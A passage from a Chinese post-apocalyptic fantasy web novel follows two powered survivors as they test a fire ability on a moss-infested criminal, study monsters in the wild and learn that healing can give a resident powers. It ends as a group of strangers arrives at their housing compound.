如果陈敏的污染程度再严重一点呢？陈嘉佳还能把她变回来吗？或者说, 他真正好奇的是，究竟要跨过哪条线, 人才会彻底变成不可逆转的污染物。 可惜, 他总不能因为想要验证自己的好奇心去抓个人来做实验。 所以他决定还是先去实验一下自己的异能变化吧. “砰——” 火舌猛然间窜了出去，以陆燃为圆心, 烧出了几百米半径的范围。 “！好大一片！” 江朗一脸兴奋, 看上去比陆燃本人还兴奋一点。 他们今天早上从海岸小区出来，想在野外找个没人的地方试验一下陆燃升级后的异能, 然后就找到了这片荒地。 陆燃挥手收回这大片的火焰, 地上原本的植物系污染物早已变成了黑灰, 就连岩石表层都烧得有点黑。 “比之前在陈家夫妻卧室里感受到的能量要低很多, 可能只有当时的百分之十，甚至还不到。” 江朗睁大了眼睛：“我去！这么恐怖？那你当时是花了多大力气才把火控制在了那么小一个房间里啊？！不愧是你！” 江朗从来不吝惜对陆燃的赞美，惊讶了还没两句就又开始夸起陆燃了。 然后他又想起了一件事：“那这么一想的话, 当初那个烧了整个Q市的火系异能者，很可能真的是你啊！” 这次陆燃没有反驳，因为确实概率很大。 如果他昨天没有强行控制住火焰，而是任由它蔓延，它确实应该有烧完一整个Q市的潜力。 甚至即使他用尽全力，也只能将它控制在一间房间的大小。 现在应该好控制多了，他在火焰中感受到的能量，要远低于昨晚。 他挥挥手，放出火焰，然后试着将它往回收，果然又自如地恢复到了巴掌大小。 没有之前那么顺手，但是是在可以练练就能习惯的范畴内。 “有这么几种可能，一种是每次审判的时候都会爆发出这样的范围和能级，然后之后就平稳到一个相对稳定的状态，然后每次审判都可以给这个异能提供一点经验，慢慢让它长大……” “第二种可能是审判爆发出来的能量是根据审判内容决定的，可能换个罪行没那么深重的人，就不会有这么大范围的火焰了，然后给异能的经验也不同。” “第三种，摸索到它的正确用法其实是用来审判罪人相当于给它解除了封印，这个范围的火焰就是它的‘本体’。” “第四种是每次审判相当于给异能积攒一部分能量，之后用着用着就变小，然后需要去找下一个被审判者。” 陆燃停顿了一下。 “去趟王家吧。” 江朗立刻反应了过来：“你要‘审判’那个苔藓人？” 苔藓人指的就是因嫉妒杀死亲哥的王家弟弟。 江朗有些疑虑：“但是绍奶奶……” 陆燃：“你真的觉得她的食物够撑到现在？” 江朗叹了口气：“也是吧……那我去开车，你在这等会儿。” 这里离王家村还是挺远的，虽然也可以跑去，但是江朗嫌累。 过了十几分钟，陆燃隐隐听见一阵轰隆隆的声音——江朗开着一辆越野车回来了。 陆燃上车。 江朗油门踩到底，朝王家村开去. 很长一段时间没来，王家所在这个小镇，或者说小村，比他们上次见要更加荒废了。 重新生长出来的植物污染物，野蛮地占据了所有生存空间，村子里唯一一个小卖部，之前来的时候冰柜里的食物就已经化作了一摊满是泡泡的污泥，这次更是直接蔓延了出来。 藤蔓像蛇一样在砖块间屋顶上游走，将这些原本看起来就不太牢靠的砖瓦房彻底腐蚀了，村子就像是被按下了时间加速器一般，现在看上去简直像是已经荒废了几十年的村庄一般。 两个人朝里走，来到绍奶奶家。 塞在门缝里的报纸，已经……脆得随手碰一下就会破裂了，门缝里的新霸主是一些细碎的苔藓，正在慢慢向外蔓延。 江朗敲了敲门。 木质的门板在他稍微用力之下直接破了个洞。 江朗：“……” 陆燃：“……” 陆燃：“礼貌过头了。” 江朗尴尬地挠了挠头，直接跨进了木门里，撞出一个人形的洞，正好给有洁癖的陆燃开路了。 绍奶奶屋子里的状态没有比外面更好。 他们上次走的时候，屋子的唯一一扇窗被他们从外面用木板封上了，也就是说，他们无意间给了屋内一个永远黑暗的环境。 苔藓。 一眼望去，全是深绿色的苔藓。 从地面到墙上到各种家具上，全都爬满了那湿绿湿绿的苔藓。 他们必须小心地维持平衡，才能让自己不在走路过程中不小心直接摔倒。 掀开已经成了破布的帘子，他们走进了房子的后半部分也就是卧室所在的地方。 上次，他们就是在这里看见了绍奶奶的小儿子，那时候他已经从植物人转为了真正的“植物人”，苔藓从他的身体内部长了出来，只是绍奶奶一直在为他修剪，才让他依旧看上去有个人形。 看见眼前的景象，江朗叹了口气。 虽然外面的情况已经足够让人清楚绍奶奶肯定已经不在了，才会让他（还是它？）的苔藓蔓延到这么远，但是亲眼看见地上那具尸骨……还是让他忍不住叹了口气。 绍奶奶死的时候应该是坐在小儿子床边，骨头是坐姿，不过头骨掉到了地上，看上去更像是一个人坐在地上半搂着一个头的感觉，陆燃觉得这个画面看上去有种诡异的喜感。 应该是屋内湿度的问题，这么短的时间内尸体就已经全部腐烂了，基本只剩下一具白骨，顶多上面星星点点地挂了点腐肉。 床上，王家小儿子安静地躺着，上次来的时候，苔藓还只是从他眼睛里长出来。 这一次，他的眼珠已经彻底被挤出来了，眼珠子孤零零地凭借着一点血肉组织挂在眼眶外。 虽然他依旧有生命体征，但和死人确实区别不大了。 陆燃伸手。 召唤出火焰。 他对这团新火焰的能量等级已经习惯了，于是出来的依旧是那团小小的火苗。 火苗本苗这次也醒着，出来之后非常人性化地皱了皱眉，甚至挥了挥两旁的火苗，可能是被屋内的气味熏着了。 它不满地瞅了陆燃一眼，像是在抱怨——“这都什么工作环境啊！” 陆燃没理他。 “王xx，因嫉妒杀害亲哥，嫁祸无辜者数人。” “此后有化作植物人躺在病床上数年，算是偿还罪孽。” 他话音落下，原本小小一团的火苗瞬间扩张开去。 王家村所有房屋都没能幸免，眨眼间就成了一堆焦炭。 陆燃感受了一下，比昨天晚上那次，火焰中蕴藏的能量少了许多。 所以确实跟审判的内容有关。 他任由火焰蔓延开去，没有刻意收回，他想看看它自己什么时候停下来。 过了大约十几分钟，原本无度向外扩张的火焰终于消停了，慢慢颓丧了起来，一点点往回收，至少稳定在了大概几百米的半径范围。 陆燃感受了一下，比之前大一点，可能大了五十米左右的半径范围。 所以是升级。 而不是类似于解除了封印。 大致有数之后，陆燃收起了异能。 江朗突然拍了下脑袋：“完了！车也烧了！” 陆燃：“……你开来之前没想过吗？我还以为你知道，但是就是懒得跑步过来才开了车的。” 江朗痛心疾首：“怎么可能啊！我可是从末世后十年来的！那会儿还能开的车屈指可数啊！我怎么可能做这么浪费的事呜呜……我就是一时傻缺了！” 江朗很悲伤。 车没了，他们还得徒步回去，简直是双重的悲伤。 陆燃被他逗乐了。 “倒也无所谓，就当散步了。” 江朗：“唉……唉……好吧。” 而他们不在海岸小区的时候，小区里也在发生着别的事情。 “啊啊啊啊啊——” 花园里的一声惨叫瞬间吸引了所有在花坛里劳作的人的注意力。 “怎么个事？！怎么个事？！” 负责花园秩序的异能者连忙扒开一群挤在一起的人向尖叫源赶了过去，反复叫喊之后终于让最前面的人让出了位置，然后他看见了一个中年人一脸呆滞地呆立花坛中央，右手还拎着锄头，左手僵在半空中，而他的视线呆呆地停留在自己的左手上，那上面有一道格外明显的伤痕。 他显然不是发出尖叫的人，毕竟他看上去就像是灵魂出窍了一般，尖叫的是他周围几个人，无一不是捂着嘴退到了好几步之后。 更慌张的还是旁边的一个异能者，他手持的钢管之下有一只已经死亡的污染物，很标准的由白菜变异而来的污染物，已经死得四分五裂了，但是很显然，它死之前造成了中间呆立着的那个中年人手上的伤口，而这位负责今天的巡逻的异能者正慌张于自己的巡逻出大漏洞了…… “愣着干嘛啊！去找小陈医生啊！” 突然有个阿姨忍不住喊到，瞬间把所有呆滞的人的灵魂都喊了回来，就连中间呆愣着看伤口的中年人也被突然一震，震回了神。 他喃喃道：“可是我没有一千积分啊……” “现在是考虑积分的时候吗？！先去治了再说啊！赊账啊！你人就在这难不成张老师还会让你赖账吗？！” “是啊！快去快去！我看你头都有点像白菜了！” 第89章 第 89 章 后天异能者 “头都有点像白菜了”这句话显著地打破了中年男人的呆滞状态, 一脸慌张地行动了起来，在一群异能者层层叠叠的护送之下赶往了102。 那里原本是小陈的病房，现在则换了一个陈姓居民。 陈嘉佳不想要监护人, 张老师又不放心她一个人住，就把她安排在了自己隔壁, 至少随时可以照应。 一群人乌泱泱地挤到门口时, 陈嘉佳正在床上翻看之前陆燃和江朗从市图书馆带回来的小说。 她其实还是没适应已经末世了这个事实，再加上身体也不好，还是虚拟世界适合她。 陡然间听到门口有好几个声音喊着“小陈医生在吗”，她其实第一反应压根没反应过来, 甚至脑子里还转了一圈——“小陈医生”是谁？ 几秒后她才突然反应过来, 原来她就是“小陈医生”。 于是她急匆匆地从床上跳了下来, 走向房门。 一开门, 就看见了一张人群中一脸慌张的脸。 那句同时混合着吓人与玩笑性质的“你头都有点像白菜了”现在确实一个无比精确的描述，中年男人的“腮”的部位逐渐长出了白菜叶一般的器官, 一看就是已经异变了, 其他普通人压根不敢靠近，只在异能者形成的人墙后担忧地往前望。 “小陈医生……你看老董他还有救吗？” 陈嘉佳快速点了点头。 其他人瞬间松了口气。 “你们稍微让开一点。” “好的好的！” 挡在门口的异能者瞬间呈半圆形散了开去, 陈嘉佳靠近这位叫老董的中年男人, 经过这两天的修养，她的状态已经恢复了很多, 但是她不确定有没有恢复到可以修复一个已经污染物化的人, 如果不能的话……如果不能的话她也要做到。 她咬了咬牙, 全力将体内的力量全部输入到了这位一脸惊慌失措的中年人身上, 随着他脸上的异变症状越来越不明显，人群中渐渐响起惊呼声，而陈嘉佳的脸庞也越来越白。 “……好了。” 陈嘉佳虚弱的声音响起来的时候, 那中年男人一脸难以置信地伸出手，摸了摸自己的脸庞：“好，好了？” 他恐慌地摸上自己刚刚觉得痒的部分，其实他刚刚非常恐慌，虽然他隐隐感受到自己脸不太对，好像真的在长出什么，但什么都不敢碰也什么镜面都不敢看，他怕一碰，一看，就要真的摸到看到自己脸上……长出来的新东西。 只要不去看，不去碰，就还可以假装不存在。 好了……真的好了吗？ 他小心翼翼地摸上自己的侧脸，粗糙的，但是确实什么奇怪的东西都没有，然后他小心翼翼地看向门框上的金属条，虽然有些模糊扭曲，但至少能大致模糊看个影，这个模糊而扭曲的影子里，他看着确实挺像个正常人的。 于是一瞬间泪如雨下。 他身后的一圈人也立刻高兴了起来。 “老董！恭喜啊！” “好好好！” “哭啥！高兴点，不用用白菜样子被埋了！好事啊！” 一时间气氛非常欢乐，直到门内的陈嘉佳突然伸手虚空摸索了一下，然后在她来得及摸到任何东西之前，她整个人就这样毫无征兆地软倒了下去。 幸好一旁的异能者反应速度快：“小陈医生！” 两个异能者同时一把捞住了昏迷边缘的陈嘉佳，里三圈玩三圈的异能者和普通人也都慌了，一时间又想上来帮忙，又怕自己帮倒忙。 刚被从异变状态拉回来的中年男人更是整个人都慌了——要是为了治他小陈医生……那他简直死不足惜啊！ “别挤着！小陈医生需要空气！” 突然间有人喊了一声，瞬间惊醒了群众，他们光速散了开去，生怕自己退得慢点会耽误到陈嘉佳恢复。 “这葡萄糖管不管用啊？我从张老师办公室里拿来的！” 有人反应快点，刚刚就已经下意识冲进101开始寻找有没有能用的物资，就找到了这么一瓶医用普通糖。 甚至还有配套的针管。 “有没有人是学护士的啊！” “我我我！我来！” 一个女生急匆匆地冲了进来，快速操作了起来，打上吊针之后，她才来得及问：“这和低血糖是一回事吗？” 其他人面面相觑，倒是也不知道这能不能有用，但总得试试吧。 好在，试试的结果是有用的。 陈嘉佳的眼皮开始动，然后慢慢地睁开了眼。 一睁眼就是一群围着她的担忧的人脸：“我……” 她还没来得及讲出完整的话，就立刻被打断了：“小陈医生！你刚刚昏倒了！好好休息！有哪里难受吗？” 陈嘉佳摇了摇头。 其他人瞬间松了口气。 “都是……都是我的错……如果不是我不小心被攻击了，就不用小陈医生给我治病，如果小陈医生不用给我治病，就不会……” 陈嘉佳摇了摇头，凝聚起力气说了一句：“能帮上忙……我很开心……” “老董你快闭嘴吧！没看见小陈医生说句话多费劲吗？！你再废话！小陈医生还得费劲扒拉安慰你！” “就是！哪有这错那错的，怪物攻击你是你倒霉，哪就算你的错了？别想那么多了，本来就没多少脑子，一会儿给自己脑子想坏了。” 大家七嘴八舌地，安抚好了一脸自责的老董。 这件事情差不多也就结束了。 留下了刚刚那个护士出身的姑娘和两个异能者轮番看顾陈嘉佳，其他人都被疏散了，该干嘛干嘛去。 老董回到菜地上时，不敢再走神了，而且远比平时卖劲地干了起来，他现在可是背了一千积分的债，这得猴年马月才还的上哦…… 天色将晚时，其他人招呼他一起去吃饭，他摇摇头说不了。 “不是吧老董？也没必要那么拼，这一个钟两个钟的，能有多大影响，吃饭去吃饭去！” “是啊是啊！你干了一下午这不累吗？我是要累了，哦哟我这老腰啊……” “我的腿和胳膊是都不行了，全想起来了，当年我为什么拼死拼活也要从村里出来打工！” 老董脸上闪过了一丝迷茫，这两个人说完之后，他才突然意识到，他好像一点都不累。 平时做一下午到现在，肯定已经腰酸背痛了，但是他现在一点感觉都没有，他迷茫地抬起手，下意识地握了握，但是本应由这个动作连带触发的手臂酸痛却没有如约而至，他好像真的一点都没被累到。 这不太正常。 他下午其实也多多少少觉得自己干劲有些太充足了，但他以为那就是那种偶尔有的，一心想着要做一件事就彻底忘了身体难受的情况。 不过现在看来，显然不是这样的，因为那种状态过去后，身体上的酸痛会迟来但到。 但他现在明显什么都没感觉到。 这咋回事呢？他的身体素质就那么突然变好了？ 老董迷茫了。 “走走走，赶紧吃饭去。” 其中一人不耐烦了，重新踏上了菜地来拉他，但就在那时！ 老董看似发呆的双眼余光瞥见地上一株白菜慢动作似的张开了自己的菜叶，明显地想要朝他们的方向攻击过来。 老董瞳孔一缩，在他脑内来得及转过任何念头前，他下意识地猛扑式蹲下，单手扣住了那株白菜。 “我草！怎么回事！” “我草我草！小云快来啊！白菜又异变了！” 不远处好不容易看所有人基本都去吃饭了刚有点放松下来的负责今天巡逻的小云听见这么凄厉的两声尖叫，瞬间整个人都清醒了，整个人跟火箭一样窜了起来，弹射起步飞到了现场。 “卧槽！老董怎么又是你！你也太倒霉了！” 负责今日菜地安保的小云简直要替老董落泪了——怎么会有这么倒霉的人？下午刚被变异白菜咬了，晚上又来？！ “好像本来是冲我来的……老董就扑上去了！我靠小云你快点！老董你快让开！让专业的来！” 老董有些迷茫地点了点头：“哦哦……好……” 他迷茫地看着手里的白菜，然后不知出于什么心态，大概是觉得它看上去太好捏了，感觉捏碎之后会有种嘣脆的感觉，于是他就忍不住在放手之前，捏了那么一下。 本来应该没什么结果的，因为别说是变异后的白菜了，就算是普通白菜，也很难被人徒手捏碎，但是它就那么……碎了……植物汁液就那么流淌在老董粗糙的黝黑大手上。 然后那些碎裂开来的菜叶里，有一颗哪怕在光线不怎么明亮的情况下也显得流光溢彩的小小的正方体。 老董下意识将其他菜叶丢掉，让它落在了自己的手心。 然后，那枚流光溢彩的小正方体迅速地黯淡了下来。 “卧槽！” 在旁边准备控制情况的小云彻底被这个场景打懵了。 老董看上去完全不知道他刚刚吸收的是什么，但是他知道啊！这就是晶体啊！ 而普通人是无法吸收晶体的，更何况老董刚刚可是徒手捏碎了一只污染物，这怎么看他都不是普通人了吧？！ 老董身边的两个朋友也呆住了，一时间不太适应老董能徒手捏碎污染物这件事，虽然那污染物就是个白菜。 包括老董本人也有点迷茫。 “这……这算是怎么回事？” “不……不知道啊？问问张老师？问问小江小陆他们？” “对！对！问问小江小陆他们啊！他们见多识广！肯定知道这是怎么个事！” “呃……陆哥他们人回来了吗？” 面面相觑之下，四个人好像都觉得今天压根没见过江朗和陆燃，于是小云先谨慎地护送着老董这个不知道是奇迹还是什么的存在朝张老师办公室走去了，并且招呼另外两个人去找其他空闲着的异能者过来，他一个人很是发慌。 到了张老师办公室之后，他快速地敲击了一下铁管，通知了张老师后，就和老董一人坐在一张小板凳上开始大眼瞪小眼. “唉……这路上怎么一辆车都没有。” 江朗忍不住哀叹，他们好不容易走出了陆燃地狱之火异能的灼烧范围，走出了所有车都被烧成了焦黑一片的范围，结果外面居然还是没车。 他们居然要这样一路走回Q市……想想都觉得很悲剧。 陆燃倒是出奇地淡定，走路和坐车，虽然有的选的话他肯定更愿意在车上睡觉，但是走路和坐车在他的感官里其实并没有什么区别。 于是江朗也淡定了，又不是说在末世里还要关心时间管理的，又不累，走走怎么了！ 两个人一路从王家村走回了Q市，走到海岸小区的时候，夜幕已经降临至少五六个小时了。 这个点，应该大家早就睡了。 江朗正准备去保安亭吓一吓今晚值班的人，却发现他们刚走近小区门口，大门口就窜出来了一个黑影。 “江哥！陆哥！你们可算回来了！” 江朗瞬间有些迷茫，然后一脸严肃地问：“怎么了？出事了？” 他只能想到一个能让负责安保的异能者如此焦急地等待他们的理由，那就是海岸小区又出了什么难搞的污染物。 好在他过于罕见的严肃神情瞬间吓到了对面的异能者，连忙摆手： “不不不，没有没有。” 江朗瞬间松了口气。 陆燃：“所以发生了什么？” “有个很神奇的事，老董今天被污染物划了一下，然后小陈医生就给他治疗了一下，然后……老董就变成异能者了。” 江朗沉默了一会儿：“……啊？” 第90章 第 90 章 神奇污染物在哪里（上）…… 不怪他“啊？”, 实在是听完这一整句话，江朗也愣是觉得自己没听懂。 什么叫人被污染物咬了之后变异能者了？？？ 这种事他在异世十年也闻所未闻啊！！ 他宁可怀疑自己耳朵出问题了，或者对面的异能者的语言功能出问题了, 也很难真的去相信这句话所代表的含义。 “你说真的？？？” “真的啊！从没见过这种事吧！我们还指望着江哥你有没有听过类似的事呢！感觉江哥你什么都知道！” 江朗：……不好意思你江哥也没见过。 他有些感慨又有些震撼，Q市这个地方的例外也太多了吧, 先是能逆转污染进度的异能, 又是有人被污染物咬了不光没变污染物还直接变成了异能者……不对，他立刻反应过来，这两个事或许并不是两个异常值，而是同一个异常值。 在陈嘉佳出现以前, 没人能在被污染物污染的情况下活下来, 自然不会有可能异变。 他和陆燃对视一眼, 两个人快速赶往了102。 今天的101和102在大半夜这个时间依旧热闹得不行。 101里是一大群正在围观老董的小区居民, 哪怕有张老师在一旁盯着主持纪律，依旧压不住大家的兴奋, 这个捏一把那个戳一下的。 102这边倒相对来说好的多, 毕竟大家都不想打扰正在修养中的陈嘉佳，顶多有人在门口好奇地朝里往, 而江朗和陆燃表明了要通过的意思后, 这仅剩的几个人也瞬间让开了。 “你还好吗？” 走到陈嘉佳身边后，陆燃先询问了一下她的身体情况。 “还好……比之前给陈敏她治疗的时候好多了。” 陆燃于是点点头。 江朗则好奇地问了起来：“陈敏……应该没觉醒异能吧？” 陈嘉佳很努力地回忆了一下：“应该没有。” “那就是概率性的。” “啧, 你这异能, 有些太强大了。”江朗忍不住感慨道。 陆燃点点头：“确实有些太强了。” 不过他想的是别的事, 早知道陈嘉佳的异能如此之变态, 就不该公开的，现在有点难办了，所有人都知道她有概率让人被污染后变为异能者, 保不好就有人主动去被污染，本来他觉得她大概率很久才需要动用一次异能，现在却是有点难说了。 果然，第二天的时候，小区里再不灵通的人都知道了——老董被白菜咬了之后变成异能者了！ 被污染物咬了之后只要治疗及时，就有可能变成异能者！ 不过……嗯，只是可能而已，虽然一开始大家也很激动地觉得——我去，难道海岸小区全民异能者的时代就要到来了吗？！ 不过再一想，陈敏还有她爸妈也都是被污染了然后被小陈医生救下来的，但他们就还是普通人啊，可见变成异能者的概率不高。 而且大部分人实在没那个胆子主动去被污染物咬一口，万一控制不好当场噶了怎么办？末世里好不容易保下来的小命，还是别作死了，哪天真被咬了再说。 而且小区里挺安全的，要那个异能干嘛？ 对于他们这些住在小区里的人来说，有个异能最大的优势其实是不怕被污染物污染，除此以外就几乎没了，大家本来也不用去什么危险地方求生，哦，还有赚积分的途径能更多点，赚的积分也更多点，但是变成异能者本来也要给出1000积分（还不一定变得成），怎么想都是亏本买卖，所以还不如等真的被污染了再去找小陈医生呢。 于是陆燃担心的情况倒没出现，小区大部分人都只是口嗨和兴奋，真去实验的人约等于0。 但是……很快一个意料之外情理之中的人找上了陆燃和江朗。 于檬：“陆哥，江哥，陈嘉佳她……她好点了吗？” 江朗“嗯？”了一声，毫无所觉地大咧咧地说：“好很多了吧，不过她本来身体就差，好也好得很有限，于檬你关心陈嘉佳的话可以自己去找她说话呀，不用来我们这问的，陈嘉佳现在躺在床上没事做，应该正愁没人和她聊天呢。” 陆燃看了于檬一眼：“你应该不纯是为了关心陈嘉佳的身体状况吧。” 江朗：“嗯？” 于檬咬了咬牙，然后说：“嗯……我想知道她大概需要多久才能恢复到可以再次治疗一个被污染的人的地步。” 江朗终于有点反应过来了：“咦？你是想变成异能者吗？但是这个是概率事件，不一定能成功的。” 于檬：“我还是想试试，如果有异能的话，我就可以自己去找妈妈了。” 江朗原本想说的话憋了回去，如果是这个理由的话，确实很难让于檬放弃这个想法。 危险归危险，但是于檬如果铁了心要去寻找她的母亲，拦着她不去试试这个可能有的异能途径，感觉怎么想都拦不住啊…… 陆燃：“不必急于一时。” 于檬猛地抬起头，虽然什么都没说，但表情明显是——“这怎么可能不着急？！” 他顿了一下，继续说：“我们上午测试了一下老董的异能效果，除了基础的体力速度和反应速度变强了以外，还有一个特殊能力，他可以短期将自己的四肢快速拉长，大约几秒内，然后自动收缩。” “这和让他异变的那株白菜污染物的能力极度相似。” “所以，我们现在的推测是，被污染再被陈嘉佳治疗后获得的异能不是随机的，而是和污染你的污染物高度相关的。” “所以我建议你再等等，你如果真的想要获得异能，我和江朗可以去周围找找有没有什么异能比较特殊且强大的污染物，然后抓来给你用。” 于檬目露震惊之色，她很想说这太麻烦你们了，但是她又不愿真的拒绝这样一个难得的机会，于是她咬了咬牙说： “谢谢……谢谢你陆哥，还有江哥，以后如果有什么我能帮得上忙的地方，就算我没获得异能，我也一定会努力的！” 江朗揉了揉她的头毛：“哪用得着你帮忙！你江哥陆哥可是很厉害的！好了，现在回去自己玩吧，我们出去给你找污染物绑回来！” 于檬眼眶一红：“谢谢……”. 某座土包上，江朗和陆燃一人拿着一支小型望远镜开始全方位扫描。 “嗯……好平静的生态。” 江朗感觉自己眼睛都快看出干眼症了，也没找到什么在打架或者在毫无理由地动用自己的异能的污染物。 他们今天特意开出了之前的行动范围，也就是在彻头彻尾的荒郊野岭寻找污染物。 陆燃没用精神链接，所以他们只能靠肉眼寻找污染物，毕竟他们的主要目的不是找到污染物并清除，而是观察它们的异能是什么，陆燃出手的话，估计精神链接效力过去之后那些污染物就扑腾着飞快逃走了。 而现在观察下来的话就是……污染物是有的，毕竟这荒郊野外的压根没人住，不管是他和陆燃还是此前的张老师，都不会想到要来这里清扫救援，所以这里的生态非常原生态，各种污染物都被保留了下来。 比如对面那座山上，一株明显异变了的柳树正在四面八方挥舞自己的枝条，但是因为它的攻击性太外显了，所以周围寸草不生加毫无污染物路过，他们俩愣是看不出这柳树把枝条挥来挥去到底是本身即是攻击能力还是单纯是警告，其实还有别的异能。 “算了，我直接去试试吧。” 江朗不耐烦了，决定亲身去探探这株柳树。 陆燃“嗯”了一声，算是同意了，一边等着江朗到达对面山上，一边继续观察别的方向。 十几分钟后，江朗一脸灰头土脸地回来了：“报告，确认完毕，它就只会挥枝条，没有任何附加攻击，纯物理攻击。” 陆燃也找到了值得注意的东西。 他伸出手指了个方向：“往这边看。” “什么什么，你发现什么了？” 江朗立刻举起自己的望远镜，朝陆燃所指的方向看去。 “我什么也没看见啊。” “有一棵歪脖子树，看见了吗？” “看见了。” “上面有一只麻雀，看见了吗？” “看见了。” “好的，然后一直看着就行了。” 江朗抬手比了个“OK”，虽然这只麻雀看上去很正常，只是比普通麻雀大了那么十来倍而已。 但巨大化本来就是动植物的常见异变方向，这种大小的麻雀在末世里看着很正常。 不过既然陆燃让他观察，那这只麻雀肯定就还有别的特殊之处，虽然现在还什么都看不出来，但他还是耐心地举着望远镜，双眼几乎一眨不眨地盯着目标。 好安静，好平静，这就是观鸟的感受吗。 这样安静平静地过了几分钟，江朗终于看见了一点动静。 那只麻雀两只爪子底下突然伸过来了两条树枝。 江朗原本还以为是它踩的这棵树要偷袭它，不过他很快就意识到不是这样的，因为那些挪过来的枝条特别乖巧地把自己塞进了麻雀的爪子底下。 真的很乖巧，因为一看就是强行扭转了自己的枝条延伸方向，明明是植物，但江朗愣是看出了几分委屈。 这棵树……在讨好这只麻雀吗？ 不过他很快又意识到，他又猜错了。 麻雀周围的树丛快速抖动了起来，不一会儿，就从空中或是灌木丛中陆续冒出来了各种各样的污染物。 没一会儿，这只巨大号麻雀的下方，就整整齐齐地排列了十只污染物。 从左到右，什么类型都有，有植物变异而来的，也有动物变异而来的，里面甚至混了一只蘑菇。 但共同点就是，它们每一只污染物面前，都摆着一份猎物。 然后那只麻雀从枝头上飞了下来。 它停留在第一个污染物带来的猎物面前，一张利喙猛地戳进了猎物脑内，吸走了晶体，除此以外，它又吃了点猎物身上最柔软的血肉——比如肚皮。 剩下的它就不要了，直接前往下一份猎物面前。 打来这只猎物的污染物看它离开，立刻狼吞虎咽地吃起了剩下的血肉。 而那只麻雀，已经到了下一个猎物面前，它不是按从左到右的顺序去的，而是跳到了第二大份的猎物面前——这估计也是为数不多它身上还能让人看出来的麻雀习性。 依旧是吸走晶体加一顿开肠破肚咬走最鲜嫩的血肉。 然后是第三份……第四份…… ……第九份。 这些污染物带来的猎物基本已经全被它吃过一顿了，只剩下最后一只极其瘦小的猎物。 它跳到最后一只猎物和带来它的污染物面前。 就当江朗以为它完成最后一次进食的时候，它叼起这只瘦弱的猎物，将它扔到了另外九只污染物中间。 不需要它再做命令，九只污染物一拥而上，分食了那只猎物。 于是只剩下一个污染物在挨饿，在这场狩猎中表现最差的那一只。 “我去，这只麻雀精通资本家的管理之道啊！” 江朗惊呼。 这麻雀的智能有点超乎他想象。 太有管理学了。 不过除开管理学这方面，江朗倒是大致看出这只麻雀的异能是什么，应该是操纵相关的，大部分污染物的智能都接近于0，不管这只麻雀如何精通管理学，都很难纯靠交流让它们去为自己狩猎，所以肯定是异能。 至于陆燃，他看得更深一点，他的目光一直集中在这些污染物的行动和情绪上。 他大致可以判断出，麻雀大概是只在个别几个节点给出了指令，这种控制看上去还挺轻松的，不是类似于织灵者技能里“精神链接”那种需要他全程操纵被控制者的控制，而是更类似于给出一种暗示，对方就会自动完成暗示中的行动目标的方式。 如果给于檬的话应该还算实用轻松。 不过……于檬好像不是那种爱操纵人或污染物的性格。 给人挑选异能，除了强大以外，还得考虑下适配性。 而且这只是他找到的第一只特殊污染物而已。 或许还有其他更强大也更适合于檬单兵作战的污染物。 再看看吧。 至于这只…… 先保护一下吧。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 第 91 章 小区的不速之客 资本家麻雀暂时还不知道自己已经被陆燃列入了保护范畴, 非常自在地享受着当山大王的感觉。 陆燃和江朗又在附近晃悠了一圈，在这只山头上没看到比这只麻雀更有意思的污染物，就回小区了。 第二天带上了个帐篷后继续驱车前往这片荒郊野岭, 找到麻雀并确认它还活着之后，两个人就开始继续拿着望远镜研究周围的生态, 顺便时不时切回来看看麻雀还好吗——虽然这只麻雀本来就是这片区域里的污染物胜者, 很难有什么能威胁到它的污染物，但必要的的监测也是需要的。 陆燃和江朗很快就在野外过上了朴实无华的观鸟生活。 快一周过去，他们俩举着望远镜观察了一圈又一圈，愣是没找到第二个值得“保护”的特殊污染物, 每天真正的有效生产力仅在于观察那只麻雀是否还存活。 他们很快决定, 再三天, 如果还没找到任何值得权衡的污染物, 就把那只麻雀抓了然后去别的荒郊野岭继续观察。 而就在他们认真观鸟的时候，海岸小区迎来了一群不速之客. “快点, 没看见所有人都在等你一个吗！” Q市某条大路之上, 一个面色黝黑的中年男人站在前方，正在呵斥一个气喘吁吁的年轻人。 中年男人身边还有一大群人, 只是一看就是以他为中心, 一个标准的一人领导的小团体。 那个年轻人喘得上气不接下气，听起来就跟个人形风箱一般。 “海岳, 小虎他毕竟没异能, 我们等等他就等等他好了……” “是啊是啊, 放慢点脚步又怎么了呢, 对我们来说又没难度。” 中年男人左右两边的人开始你一句我一句地劝了起来。 但中年男人只是冷笑了一声：“就是得让他知道他没异能拖累了我们多少。” 那个气喘吁吁的年轻人咬咬牙，逼出了自己身体里最后的力气，努力小跑了几步, 终于到了大部队中。 “海岳啊……何必对自己儿子这么狠。” 是的，这个年轻人正是这个中年人的儿子，他眼中既有怨愤也有庆幸。 怨愤自己的父亲对他这么狠心，无时无刻不忘提醒他是个拖累人的废物，又庆幸自己是父亲的儿子，不然早跟那帮倒霉蛋一起被赶出去了……指不定就死在哪里了，但是一想到那帮倒霉蛋中的不少人居然真的找到了出路，甚至比他过得还好，他心中就一阵不满，凭什么？！ “我对他哪里狠心了？我要不是知道他是我儿子，我至于费这么大力带他来Q市？” 那说话的人本来也就是说一下，纯当自己是个捧哏的，李海岳当然是护着他儿子的，不管是把他作为唯一一个非异能者留下来，还是因为他没异能他们整个团队都迟迟没有跨越那座山，还是他们这么多人现在赶了这么多路过来就为了保护他儿子到达Q市，好让他也有机会变成异能者。 这还不叫父子情深啊？ 不过毕竟是亲儿子，也正常。 就是他们这些旁观者还得负责捧哏，忒麻烦，他撇了撇嘴，没说话了。 又几十分钟后，他们终于找到了海岸小区。 “好多人……” 负责今天值班的其中一个异能者看见一群人靠近忍不住嘟囔了一声。 “咦？难道也是来求助的？” 另一人好奇问。 他们迎了上去。 两方在小区门口齐齐停下了脚步。 那个中年男人跨出一步，礼貌地说：“你好，我们这里有人想加入海岸小区，我听说单个人的入住费是10晶体对吗？这里是十枚晶体。” “对……对吧。” 负责今日安保的两个异能者有点呆，因为虽然他们知道规定是10枚晶体入住，但是说实话，至今为止还没有出现过真的带着晶体来交入住费的外来者，所以他们一时间有些不知道该怎么操作。 “呃……你们是只能凑出10晶体所以只让一个人加入吗？其实我们这边有先住后缴费原则的，你们可以都先住进来，然后再慢慢攒晶体。” “这样吗……那真是很好了，不过我们应该只需要让一个人入住。” “好吧……”那两个异能者有点奇怪，不过也没多想，“好，那你们稍微等一下，我们去通知张老师……呃，就是这个小区的管理人。” 张老师人在外巡逻，回来需要点时间，他们敲击金属后就从保安室搬了一叠小凳子出来，让这些奇怪的外来者先在门口坐一会儿。 “咦？小云，这些是什么人啊？” 